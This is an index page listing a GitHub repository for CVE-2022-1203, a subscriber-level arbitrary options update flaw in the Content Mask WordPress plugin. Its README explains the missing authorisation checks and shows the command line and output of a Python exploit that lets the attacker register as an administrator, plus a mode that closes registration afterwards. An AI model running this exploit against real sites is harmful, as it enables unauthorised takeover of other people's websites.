Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/randomrobbiebf/cve-2022-1203
Content Mask < 1.8.4 - Subscriber+ Arbitrary Options Update
https://github.com/randomrobbiebf/cve-2022-1203
Last synced: about 1 month ago
JSON representation
Content Mask < 1.8.4 - Subscriber+ Arbitrary Options Update
- Host: GitHub
- URL: https://github.com/randomrobbiebf/cve-2022-1203
- Owner: RandomRobbieBF
- License: apache-2.0
- Created: 2023-08-03T09:39:15.000Z (over 1 year ago)
- Default Branch: main
- Last Pushed: 2023-08-03T09:43:29.000Z (over 1 year ago)
- Last Synced: 2023-08-03T10:47:51.265Z (over 1 year ago)
- Language: Python
- Size: 8.79 KB
- Stars: 0
- Watchers: 1
- Forks: 1
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# CVE-2022-1203
Content Mask < 1.8.4 - Subscriber+ Arbitrary Options Update## Description
The Content Mask WordPress plugin before 1.8.4.1 does not have authorisation and CSRF checks in various AJAX actions, as well as does not validate the option to be updated to ensure it belongs to the plugin. As a result, any authenticated user, such as subscriber could modify arbitrary blog options
## How to use
Exploit
---
```$ python3 CVE-2022-1203.py -u http://wordpress.lan -un user -p useruser1
The plugin version is below 1.8.3.2.
The plugin version is 1.8.3.2
Vulnerability check: http://wordpress.lan
Logged in successfully.
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
You can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.
```Fix
---
```
python3 CVE-2022-1203.py -u http://wordpress.lan -un user -p useruser1 --fix yes
Vulnerability check: http://wordpress.lan
Logged in successfully.
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php
Fixed: You can not longer register```